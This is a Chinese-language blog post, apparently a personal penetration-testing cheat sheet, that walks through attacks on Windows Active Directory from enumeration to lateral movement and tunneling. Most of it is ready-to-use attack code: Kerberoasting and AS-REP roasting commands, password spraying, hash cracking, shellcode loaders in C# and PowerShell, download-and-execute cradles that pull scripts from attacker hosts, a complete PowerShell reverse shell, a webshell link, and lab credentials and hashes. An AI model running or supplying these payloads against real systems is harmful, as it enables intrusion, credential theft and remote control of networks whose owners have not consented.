魔法书 on wackymaker

血缇之书

Fri, 31 Oct 2025 19:40:56 +0800

信息收集-枚举

前枚举

域名解析

nxc

nxc smb ip --generate-hosts-file hostname

也可以生成krb5.conf

nxc smb $ip --generate-krb5-file krb5.conf

删除原conf

sudo rm /etc/krb5.conf

替换

sudo mv krb5.conf /etc/krb5.conf

同步时间

ntp方式

sudo ntpdate dc
并停止自动更改
sudo service virtualbox-guest-utils stop

手动方式

或者在域机器执行

Get-Date

本机修改

sudo timedatectl set-ntp off
sudo date -s "2025-06-12 04:02:28"

smb方式（隧道环境尤为好用）

密码

net time -S $ip -U "$domain/$user%$pass"
# 代理
sudo proxychains4 net time set -S $ip -U "$domain/$user%$pass"

hash

net time -S $ip -U "$domain/$user" -N --pw-nt-hash $hash
# 代理
sudo proxychains4 net time -S $ip -U "$domain/$user" -N --pw-nt-hash $hash

tgt

sudo proxychains4 net time -S $ip -U "$domain/$user" -N --use-kerberos=desired --use-krb5-ccache=$ccache
#代理
sudo proxychains4 net time -S $ip -U "$domain/$user" -N --use-kerberos=desired --use-krb5-ccache=$ccache

端口详细扫

nmap -p 88,389,445,139,135 -sC -sV --min-rate=10000 -Pn dc01

域sid

nxc

nxc ldap $ip -u $user -p $pass -k --get-sid

impacket

如果ntlm禁用了，我们能通过kerbores认证通过getPac查询管理员的时候顺带查询域sid

impacket-getPac -targetUser administrator $domain/$user:$pass

powershell本地

Get-ADDomain | fl DomainSID

powerview

Get-DomainSid

ftp匿名连接

ftp $ip
使用账号密码anonymous

如果需要文件get，切换binary防止文件损毁

NFS相关

查找匿名共享

showmount -e $ip

查询smb共享

nxc

用户密码

nxc smb $ip_or_$c段 -u $user -p $pass --shares
之后直接连接
smbclient //$ip/forensic -U "$user%$pass"
或者直接挂载
sudo mount -t cifs //$ip/forensic /mnt -o username=$user,password=$pass
取消挂载
sudo umount /挂载点路径

匿名

nxc smb "$ip" -u guest -p '' --shares
还有
nxc smb "$ip" -u wackyamaker -p '' --shares
之后smbclient链接
smbclient //目标IP/共享名 -U '匿名用户%空密码'
或者
smbclient //10.10.11.174/IPC$ -N
也可以直接挂载
mount -t cifs //10.10.10.192/profiles$ /mnt
取消挂载
sudo umount /挂载点路径

无域名使用本地用户认证,只要加上-d . 即可

nxc smb $ip -d . -u $user -p $pass

ntlmhash

#枚举使用nxc即可
连接smbclient使用如下面命令
smbclient -U $user --pw-nt-hash //$ip/$dic $ntlm

smbmap

用户密码

smbmap -H $ip -u $user -p $pass
连接还是用smbclient

匿名

smbmap -H $ip -u 'guest' -p ''

禁用ntlm认证的特殊情况（impacket包）

禁用ntlm认证后我们会使用不了smbmap，nxc等工具，但是impacket包可以使用Kerberos认证

impacket-smbclient -k $domain/$user:$pass@$FQDN -dc-ip $ip

rpc相关

用户密码连接

rpcclient -U "$user%$pass" $ip

匿名连接

rpcclient -U "" -N $ip

进入后执行命令

enumdomusers 列出用户
queryuser <rid> 列出用户相关信息
querydispinfo 获取所有用户较少信息

无预认证票据烘焙攻击（AS-REP Roasting）

先用impacket包查找

for users in $(cat users); do impacket-GetNPUsers -no-pass -dc-ip $ip $domain/$users 2>/dev/null | grep krb5asrep; done
or
impacket-GetNPUsers -usersfile users $domain/ -dc-ip $ip

之后爆破

hashcat -m 18200 svc.asrep.hash /usr/share/wordlists/rockyou.txt --force

服务票据烘培攻击（Service Ticket Roasting or Kerberoasting）

impacket包远程

先查找

impacket-GetUserSPNs $domain/$user:$pass -dc-host $FQDN -dc-ip $ip -request

如果存在无预认证账户，也可以直接利用无预认证hash进行spn枚举,这里举例为jjones用户

impacket-GetUserSPNs -no-preauth jjones -usersfile users -dc-host $ip $domain/

如果存在hash，直接提取爆破

hashcat hash /usr/share/wordlists/rockyou.txt --force

powershell本地

https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1

本地执行

powershell -c import-module c:\programdata\invoke-kerberoast.ps1; invoke-kerberoast -outputformat hashcat

之后复制其中的hash离线保存爆破

hashcat -m 13100 hashes.kerbi /usr/share/wordlists/rockyou.txt --force

时钟烘焙攻击（Timeroasting）

使用前提

1. 目标必须是计算机账户，不能直接针对普通用户账户（除非做“目标Timeroasting”修改属性）。
2. 目标域控制器开启并响应带有 Microsoft SNTP 扩展认证（MS-SNTP）的 NTP 服务，UDP 123端口开放。
3. 攻击者能向 DC 发送未认证的 MS-SNTP 请求（无需有效凭证）。
4. 能枚举域内计算机账户的 RID（相对标识符）。
5. （可选）针对“目标Timeroasting”，需要域管理员权限，临时修改用户账户属性使其被当作计算机账户处理。
6. 域中计算机账户密码未被强力保护（例如弱密码或未定期更换）。

使用工具以及命令

工具
https://github.com/SecuraBV/Timeroast
命令
python timeroast.py $ip

猎犬提取

nxc

用户密码

nxc ldap "$ip" -u "$user" -p "$pass" --bloodhound --collection All --dns-server "$ip"

传递hash

nxc ldap "$ip" -u "$user" -H "$hash" --bloodhound --collection All --dns-server "$ip"

rusthound

密码

rusthound -d $domain -u $user@$domain -p $pass -f $FQDN -i $ip --fqdn-resolver --adcs -z -o ./

kerbores认证

export KRB5CCNAME="/tmp/jeor.mormont.ccache"
rusthound -d $domain -u $user@$domain -p $pass -f $FQDN -k -i $ip --fqdn-resolver --adcs -z -o ./

ldap被禁用的情况下能使用ldaps加密连接

rusthound -d $domain -u $user1@$domain -p $pass1 -f $FQDN -i $ip --fqdn-resolver --adcs -z -o ./ --ldapport 636

dns服务不正常（透过代理抓取）处理办法:

生成krb5.conf

nxc smb $ip --generate-krb5-file krb5.conf

删除原conf

sudo rm /etc/krb5.conf

替换

sudo mv krb5.conf /etc/krb5.conf

之后抓取

proxychains4 rusthound -i "$ip"  -d "$domain" -u "$user@$domain" -k  -o ./ -z --ldaps -f "$dc"

bloodhound-python

密码

bloodhound-python -d $domain -c ALL -u $user -p $pass -ns $ip --zip

hash

bloodhound-python -d $domain -c ALL -u $user --hashs :$hash -ns $ip --zip

dns服务不正常（透过代理抓取）处理办法

# 先将dc写入hosts
# 之后利用dnsmasq将本地充当dns服务器进行本地解析
# 如果没有需要下载一个
sudo apt-get install dnsmasq
# 将/etc/dnsmasq.conf内容写入如下内容
address/DC01.domain.com/10.10.10.10
# 之后重启dnsmasq服务
sudo systemctl restart dnsmasq
# 指定ns为自身正常抓取
bloodhound-python -d $domain -c ALL -u $user -p $pass -ns 127.0.0.1 -dc $host --zip

ldap查询(包含匿名ldap)

ldapdomaindump抓取所有ldap信息生成可视化图表

用户凭证

ldapdomaindump -u $domain\\$user -p $pass $ip -o ldap/

匿名枚举ldap信息

ldapsearch

获取域根目录
ldapsearch -H ldap://$ip -x -s base namingcontexts
获取域全部信息
ldapsearch -H ldap://$ip -x -b "DC=$domain,DC=com" > ldap-anonymous
单独获取域用户信息
ldapsearch -H ldap://$ip -x -b "DC=$domain,DC=com" '(objectClass=person)' > ldap-people

nxc

如果有匿名权限可以直接访问用户信息，注意这个参数查询不全，建议使用ldapsearch抓取所有信息之后截取dn信息

nxc ldap $ip -u "" -p "" --users

linux相关

落地保护枚举

查主机信息（av）

(new-object system.net.webclient).downloadstring('http://192.168.119.120/HostRecon.ps1') | IEX
Invoke-HostRecon

查powershell语言模式-clm检测

$ExecutionContext.SessionState.LanguageMode

查las保护

Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"
这个更直观一点
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa"

查applocker策略

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

查防火墙策略

powershell.exe -Command "Get-NetFirewallRule -PolicyStore ActiveStore | Where-Object { $_.Action -eq 'Block' }"

后枚举

运行进程查询

powershell

get-process

如果使用winrm登陆查找到explorer，可以尝试打session relyhahs

一个丑陋但是高效的确定是否存在某程序的定时运行，也就是类似linux中的pspy，但是只能针对指定程序,这里指定Bginfo64.exe

FOR /L %i IN (0,1,1000) DO (
  tasklist /FI "imagename eq Bginfo64.exe" | findstr /v "No tasks" &
  ping -n 2 127.0.0.1 > NUL
)

查看机器当前登陆会话

qwinsta /server:127.0.0.1

如果我们是通过winrm交互的，使用不了上面的命令，因为我们是session0非交互，可以用runas绕过

.\RunasCs.exe x x  -l 9 "qwinsta"

如果存在登陆会话，有两种攻击思路，一种是打跨会话中继（在横向模块），一种是如果目标不停登陆可写启动脚本的话修改目标启动脚本（后渗透模块）

不使用fscan的网段枚举存活机器

cmd

(for /L %a IN (1,1,254) DO ping /n 1 /w 1 172.16.2.%a) | find "Reply"

powershell

$liveHosts = @()
1..254 | ForEach-Object {
    $ip = "172.16.2.$_"
    if (Test-Connection -Quiet -Count 1 $ip) {
        $liveHosts += $ip
        Write-Host "[+] Alive: $ip" -ForegroundColor Green
    }
}
$liveHosts

枚举当前dc

nltest /dsgetdc:$env:USERDOMAIN

查询域管理员

powerview

Get-DomainGroupMember -Identity "Administrators" -Domain corp2.com

枚举组策略

Get-GPO -All | Select-Object DisplayName

windows查看监听端口

netstat -ano | findstr /i "listening"
或者
netstat -ano | findstr LISTEN

查询 .NET Framework net版本

reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP" /s /v Version

查看保存凭证

cmdkey /list

powershell历史记录

(Get-PSReadlineOption).HistorySavePath

查spn（需要管理权限）

Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName |
Select-Object SamAccountName, ServicePrincipalName

acl或者用户属性详细枚举

目标可写枚举

bloodyad远程

bloodyAD --host $FQDN --dc-ip $ip -d $domain -u $user -p $pass get writable --detail

powerview本地

#查找当前用户高危权限，就包含可写
Find-InterestingDomainAcl -ResolveGUIDs

用户属性详细枚举

powerview 远程powerview也可

Get-DomainUser -Identity $查询_user -Properties *

nxc

netexec ldap $ip -u $user -p $pass --query "(sAMAccountName=$查询_user)" ""

枚举本机可写目录

上传accesschk64

.\accesschk64 /accepteula -uwds $domain\$user C:\Windows

委派

hash

impacket-findDelegation $domain/$user -dc-ip $ip -hashes :$hash

密码

impacket-findDelegation $domain/$user:$pass -dc-ip $ip

无约束委派

powerview

Get-DomainComputer -Unconstrained

nxc

nxc ldap $ip -u $user -p $pass --trusted-for-delegation

确定打印服务

dir \\cdc01\pipe\spoolss

约束委派

powerview

Get-DomainUser -TrustedToAuth

nxc

nxc ldap $ip -u $user -p $pass --find-delegation
nxc ldap $ip -u $user -H "$hash" --find-delegation

基于资源委派(RBCD)

查找创建机器权限

nxc ldap $ip -u $user -p $pass -M maq

条件：对任意机器账户具有写入权限 powerview

Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Where-Object { $_.ActiveDirectoryRights -like '*GenericWrite*' }

linux查询横向目标

cat /etc/hosts
ip a
ip route
cat /etc/resolv.conf

域相关

域信任

nxc

nxc ldap $ip -u $user -p $pass --dc-list --dns-server $ip

powershell

[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().GetAllTrustRelationships()

林相关

林信任

powerview

Get-DomainTrustMapping

powershell

[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().GetAllTrustRelationships()

跨林相同用户

powerview

Get-DomainForeignGroupMember -Domain corp2.com

ADCS证书错误查询

certify

老版本
Certify.exe find /vulnerable
新版本
Certify.exe enum-templates --filter-enabled --filter-vulne
rable --hide-admins

certipy-ad

用户密码

certipy find -u $user -p $pass -target $FQDN -dc-ip $ip -text -stdout -vulnerable

hash传递

certipy find -vulnerable -u $user -hashes :$hash -dc-ip $ip -stdout

kerbores

certipy find -target $FQDN -u $user@$domain -p $pass -k -vulnerable -stdout -dc-ip $ip

linux相关

网段枚举存活主机

icmp

for i in {1..255};do(ping -c 1 172.16.1.$i|grep "bytes from"|cut -d' ' -f4|tr -d ':' &);done
or
sudo nmap -sn 10.10.110.0/24

arp

arp

nmap确认存活主机

nmap -PE -PS22,80,443 -PA3389 -PP 10.10.110.0/24
#-PE发送 ICMP Echo Request（ping）包探测主机是否在线。
#-PS22,80,443发送 TCP SYN 包到端口 22（SSH）、80（HTTP）、443（HTTPS）探测主机是否在线。
#-PA3389发送 TCP ACK 包到端口 3389（远程桌面服务），用来探测是否有防火墙规则允许响应。
#-PP发送 ICMP Timestamp Request（时间戳请求）包，另一种探测主机的 ICMP 包。

爆破及喷洒

用户密码类爆破及喷洒

nxc密码喷洒

加上这个参数，否则第一个匹配成功就会结束

--continue-on-success
例如
nxc smb $ip -u users -p $pass1 --no-bruteforce

加上这个参数，会利用密码和用户名交叉喷洒尝试所有可能

--continue-on-success

winrm密码喷洒 nxc

nxc winrm 192.168.1.0/24 -u userfile -p passwordfile --continue-on-success

mssql爆破（九头蛇

hydra $ip mssql -L ./user.txt -P ./pass.txt

dc存活用户枚举

kerbrute爆破

kerbrute userenum --dc $ip -d $domain /opt/user.txt
-v:详细输出
-t:指定线程最高10

rid爆破枚举

smb相关rid爆破

nxc_rid爆破（需要smb凭证，匿名也可）默认4000循环

nxc smb $ip -u guest -p '' --rid-brute

可提升

nxc smb $ip -u guest -p '' --rid-brute 10000

也可以使用impacket包

impacket-lookupsid -no-pass guest@$FQDN 20000

mssql相关ris爆破

如果只有mssql权限的话，可以使用下面的脚本跑

先查询域名和管理员的sid

SQL (SQLGuest  guest@master)> select default_domain()
             
----------   
REDELEGATE   

SQL (SQLGuest  guest@master)> select sys.fn_varbintohexstr(SUSER_SID('REDELEGATE\Administrator'))
                                                             
----------------------------------------------------------   
0x010500000000000515000000a185deefb22433798d8e847af4010000

将获取到的sid基准填入下方并且更改下面的连接信息

#!/bin/bash

check_rid() {
    SID_BASE="010500000000000515000000a185deefb22433798d8e847a"
    local RID=$1
    local HEX_RID=$(python -c "import struct; print(struct.pack('<I', ${RID}).hex())")
    local SID="${SID_BASE}${HEX_RID}"
    local RES=$(impacket-mssqlclient SQLGuest:zDPBpaF4FywlqIv11vii@10.129.234.50 -file <( echo "select SUSER_SNAME(0x${SID});") 2>&1 | sed -n '/^----/{n;p;}')

    if [[ "$(echo "$RES" | xargs)" != "NULL" ]]; then echo "${RID}: ${RES}"; fi
}

也可以使用msf

开启msf后直接使用下面的模块

wackymaker@kali$ msfconsole
...[snip]...
msf6 > use auxiliary/admin/mssql/mssql_enum_domain_accounts
msf6 auxiliary(admin/mssql/mssql_enum_domain_accounts) >

msf6 auxiliary(admin/mssql/mssql_enum_domain_accounts) > options

Module options (auxiliary/admin/mssql/mssql_enum_domain_accounts):

   Name                 Current Setting       Required  Description
   ----                 ---------------       --------  -----------
   FuzzNum              10000                 yes       Number of principal_ids to fuzz.
   PASSWORD             zDPBpaF4FywlqIv11vii  no        The password for the specified username
   RHOSTS               dc.redelegate.vl      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/bas
                                                        ics/using-metasploit.html
   RPORT                1433                  yes       The target port (TCP)
   USERNAME             SQLGuest              no        The username to authenticate as
   USE_WINDOWS_AUTHENT  false                 yes       Use windows authentication (requires DOMAIN option set)

nxc高版本也可以

nxc mssql $ip -u $user -p $pass  --local-auth --rid-brute

ldap查询

nxc ldap $ip -u $user -p $pass --users

如果以上nxc普通域用户无法枚举则是权限不够，可以通过创建机器用户并用机器用户枚举成功，注意不排除存在匿名ldap权限

#查询可创建机器用户数量
nxc ldap $ip -u $user -p '$pass' -M maq
#创建机器用户
addcomputer.py -computer-name wacky$ -computer-pass 'wa2ky!wa2ky!' -dc-host $FQDN -dc-ip $ip $domain_without_com/$user:$pass

impacket包lookupsid枚举

impacket-lookupsid $user:$pass@$ip

rpc查询

用户密码连接

rpcclient -U "$user%$pass" $ip

匿名连接

rpcclient -U "" -N $ip

进入后执行命令

enumdomusers 列出用户
queryuser <rid> 列出用户相关信息
querydispinfo 获取所有用户较少信息

ntlm_v2_hash爆破

获取v2 hash举例如下

Administrator::WIN-487IMQOIA8E:997b18cc61099ba2:3CC46296B0CCFC7A231D918AE1DAE521:0101000000000000B09B51939BA6D40140C54ED46AD58E890000000002000E004E004F004D00410054004300480001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D0042003100320008003000300000000000000000000000003000004289286EDA193B087E214F3E16E2BE88FEC5D9FF73197456C9A6861FF5B5D3330000000000000000

保存为文件并且爆破

hashcat -m 5600 administrator-ntlmv2 /usr/share/wordlists/rockyou.txt  --force

数据类型爆破

hashcat对照表

https://hashcat.net/wiki/doku.php?id=example_hashes

ansible密钥爆破

首先将密钥恢复至如下格式

$ANSIBLE_VAULT;1.1;AES256
633038313035343032663564623737313935613133633130383761663365366662326264616536303437333035366235613437373733316635313530326639330a643034623530623439616136363563346462373361643564383830346234623235313163336231353831346562636632666539383333343238343230333633350a6466643965656330373334316261633065313363363266653164306135663764

利用ansible2john转换格式

ansible2john hash.txt > hash

删去转换完hash前面的文件名只保留如下格式

$ansible$0*0*c08105402f5db77195a13c1087af3e6fb2bdae60473056b5a477731f51502f93*dfd9eec07341bac0e13c62fe1d0a5f7d*d04b50b49aa665c4db73ad5d8804b4b2511c3b15814ebcf2fe98334284203635

利用hashcat爆破

hashcat hash /usr/share/wordlists/rockyou.txt

爆破完毕后得到的密码，用于解密原先的hash.txt

cat hash.txt | ansible-vault decrypt

自动要求密码，输入之前解密完毕的密码即可提取密文

kdbx数据爆破

john配合hashcat

keepass2john keepass.kdbx > keepass.hash
之后将hash文件前面的文件名删除（打开后删除）
hashcat -m 13400 -a 0 -w 1 keepass.hash dic2.txt --force

keepass4brute

keepass4brute.sh recovery.kdbx
之后
keepassxc-cli export -f csv recovery.kdbx > output.csv

pfx证书爆破

利用john提取hash

pfx2john.py file.pfx | tee file.hash

去除头部文件名，交给hashcat或者john爆破

hashcat file.hash /usr/share/wordlists/rockyou.txt

用爆破出的密码解密,会提示我们输入新密码，不要改新密码继续用原来的

openssl pkcs12 -in file.pfx -nocerts -out file.key-enc

利用解密出来的证书和原证书生成私钥和证书

openssl rsa -in file.key-enc -out file.key
openssl pkcs12 -in file.pfx -clcerts -nokeys -out file.crt

cert.key爆破

也可以正对key直接爆破

pem2john cert.key | tee hash

删去hash部分中的$pbkdf 2$sha256$aes256_cbc，才能hashcat爆破

hashcat hash rockyou.txt

之后可以利用key和cert创建pfx证书

openssl pkcs12 -export -inkey cert.key -in cert.crt -out cert.pfx

zip压缩包爆破

zip压缩包格式很多，解密出来的hash格式需要去hashcat对照表修改进行爆破，但是简单来说只要把文件名删去即可

首先是john转换hash

zip2john file.zip > file.hash

将hash中的文件名部分删去，前面后面都得删，才能符合hashcat格式

之后直接跑hashcat

hashcat file.hash /usr/share/wordlists/rockyou.txt

爆出来直接解密即可

当然也可以不删文件名，直接利用john处理生成的hash文件

john  --wordlist=/usr/share/wordlists/rockyou.txt file.hash

putty数据爆破

提取hash

putty2john private.ppk > private.ppk.john

爆破

john  --wordlist=/usr/share/wordlists/rockyou.txt private.ppk.john

无文件落地载荷以及常用载荷

winrm横向

本地powershell

Enter-PSSession -ComputerName <机器名> -Authentication Kerberos

远程evil-winrm

hash

evil-winrm -i $ip -u $user -H $ntlm

密码

evil-winrm -i $ip -u $user -p $pass

证书

evil-winrm -i $domain -S -k <私钥> -c <公钥>
例如
evil-winrm -i timelapse.htb -S -k legacyy_dev_auth.key -c legacyy_dev_auth.crt

远程evil-winrm-py

相比起evil-winrm额外具备加载我们本地ps1脚本的能力，但是不具备bbypass amsi

hash

evil-winrm-py -i $ip -u $user -H $ntlm

密码

evil-winrm-py -i $ip -u $user -p $pass

证书

evil-winrm-py -i $domain -S -k <私钥> -c <公钥>
例如
evil-winrm-py -i timelapse.htb -S -k legacyy_dev_auth.key -c legacyy_dev_auth.crt

远程winrmexec.py（更兼容ssl，也就是https协议的winrmshell）

下载

https://raw.githubusercontent.com/ozelis/winrmexec/main/winrmexec.py

使用(与impackt包一样的权限传递)

python3 winrm.py -ssl -port 5986 -k $doamin/$user@$ip -no-pass

Impacket 工具集中用于远程命令执行的脚本

工具	机制	权限要求	上传文件	交互式 Shell	隐蔽性	稳定性	适用环境
psexec.py	创建服务	高	是	是	低	高	可创建服务的目标
smbexec.py	服务或计划任务	高	否	否	中	中	共享服务开启
wmiexec.py	WMI 调用	高	否	半（伪交互）	高	中等	开启 RPC/WMI 的目标

‘./administrator’其中的./表示本地管理员

psexec使用

域内用户使用

impacket-psexec "$domain/$user:$pass@$ip"

使用hash

impacket-psexec "$domain/$user@$ip" -hashes $hashes -no-pass

使用票据

impacket-psexec "$domain/$user@$ip" -k -no-pass

域内本地计算机用户

impacket-psexec '.\$user':$pass@$ip

使用hash

impacket-psexec '.\$user'@$ip -hashes $hashes -no-pass

使用票据

impacket-psexec '.\$user'@$ip -k -no-pass

smbexec使用

域内用户使用

impacket-smbexec "$domain/$user:$pass@$ip"

使用hash

impacket-smbexec "$domain/$user@$ip" -hashes $hashes -no-pass

使用票据

impacket-smbexec "$domain/$user@$ip" -k -no-pass

域内本地计算机用户

impacket-smbexec '.\$user':$pass@$ip"

使用hash

impacket-smbexec '.\$user'@$ip -hashes $hashes -no-pass

使用票据

impacket-smbexec '.\$user'@$ip -k -no-pass

wmiexec使用

域内用户使用

impacket-wmiexec "$domain/$user:$pass@$ip"

传递hash

impacket-wmiexec "$domain/$user@$ip" -hashes $hashes -no-pass

传递票据

impacket-wmiexec "$domain/$user@$ip" -k -no-pass

域内本地计算机用户

impacket-wmiexec '.\$user':$pass@$ip

传递hash

impacket-wmiexec '.\$user'@$ip -hashes $hashes -no-pass

传递票据

impacket-wmiexec '.\$user'@$ip -k -no-pass

dll反射

托管dll源码

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;

namespace powershell_1
{
    public class Class1
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);



        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        public static void runner()
        {
            byte[] buf = new byte[810] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
///////////////////////////////////////////////////////////
0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5
};

            int size = buf.Length;

            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

            Marshal.Copy(buf, 0, addr, size);

            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
 
    }
}

投放器-powershell

$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.50.120/ClassLibrary1.dll')

$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)

powershell反射

ps1源码

function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].
      Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

function getDelegateType {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
        [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), 
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
      DefineDynamicModule('InMemoryModule', $false).
      DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', 
      [System.MulticastDelegate])
    $type.
      DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
        SetImplementationFlags('Runtime, Managed')
    $type.
      DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
        SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}

$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,///////////////////////////////////////////////////////////////////////////////8,0x85,0xf6,0x75,0xb4,0x41,0xff,0xe7,0x58,0x6a,0x0,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)

$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)

[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)

投放器-powershell

powershell (New-Object System.Net.WebClient).DownloadString('http://192.168.50.120/run.ps1') | IEX

powershell无文件加载

无文件加载ps1脚本

powershell -ExecutionPolicy Bypass -Command "(new-object net.webclient).downloadstring('http://10.10.16.20/shell.ps1') | IEX"

或

cmd /c powershell -ep Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.221/revershell.ps1')"

无文件加载.NET程序集工具（例如rubeurs.exe）

先下到内存

$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/Rubeus.exe')

开空间

$assem = [System.Reflection.Assembly]::Load($data)

执行参数

[Rubeus.Program]::Main("执行参数".Split())
例如
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:12343649cc8ce713962859a2934b8cbb /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())

如果想无参数执行

先
$entryPoint = $assem.EntryPoint
之后
$mainMethod.Invoke($null, @(, [string[]] @()))

revershell

powershell

$client = New-Object System.Net.Sockets.TCPClient('192.168.174.129', 7777)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | ForEach-Object { 0 }
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = [System.Text.Encoding]::ASCII.GetString($bytes, 0, $i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + "PS " + (Get-Location).Path + "> "
$sendbyte = [System.Text.Encoding]::ASCII.GetBytes($sendback2)
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()

常用webshell

aspx

带反弹shell功能的集成大马

https://github.com/jivoi/pentest/blob/master/shell/insomnia_shell.aspx

隧道搭建

灵活使用

流量转发（无服务端，只是单纯转发流量）

socat

当我们并不需要端口转发导致占用本地端口的时候，我们可以在一层内网做流量转发，让二层内网机器访问到kali，常配合用于hash钓鱼

https://github.com/3ndG4me/socat/releases/tag/v1.7.3.3

直接在想要转发流量的机器执行命令

./socat-lin64.bin TCP4-LISTEN:445,fork TCP4:$kali的ip:445

这里举例的是转发本地445流量到kali的445，注意无回显是正常运行

端口转发

chisel

反向

# Kali（公网服务器）作为服务端
./chisel server --port 8000 --reverse
# 边界主机（内网）作为客户端
./chisel client <KALI_IP>:8000 R:<KALI_PORT>:<TARGET_IP>:<TARGET_PORT>
#示例：转发内网 192.168.1.100:3389 到 Kali 的 8083 端口
./chisel client 10.10.14.5:8000 R:8083:192.168.1.100:3389

正向

# 边界主机（内网）作为服务端
./chisel server --port 8000
# Kali（公网服务器）作为客户端
./chisel client <BORDER_IP>:8000 <KALI_PORT>:<TARGET_IP>:<TARGET_PORT>
#示例：访问 Kali 的 8080 即访问内网 192.168.1.100:80
./chisel client 192.168.176.128:8000 8080:192.168.1.100:80

ssh

简单来说-L 流量中本地转发到远方，-R流量总远方转发到本地

本地转发（访问本机端口穿透到远程）

ssh -L <LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT> <USER>@<JUMP_HOST> -p <SSH_PORT>
#示例：通过跳板机访问内网 Web
ssh -L 8080:192.168.1.100:80 root@10.10.14.5 -p 22

远程转发（将内网服务暴露到公网）

ssh -R <REMOTE_PORT>:<LOCAL_IP>:<LOCAL_PORT> <USER>@<PUBLIC_SERVER> -p <SSH_PORT>
#示例：将内网 RDP 暴露到公网服务器 3389 端口
ssh -R 3389:127.0.0.1:3389 kali@10.10.14.5 -p 22

frp

服务端配置文件(frps.ini)

[common]
bind_port = 7000          # 服务端监听端口
dashboard_port = 7500     # 控制面板端口
dashboard_user = admin
dashboard_pwd = password
token = your_token_123    # 认证令牌

客户端配置文件()

[common]
server_addr = 10.10.14.5 # frps 公网 IP
server_port = 7000
token = your_token_123

# 转发内网 SSH 服务
[ssh]
type = tcp
local_ip = 192.168.1.100
local_port = 22
remote_port = 6000

# 转发内网 Web 服务
[web]
type = http
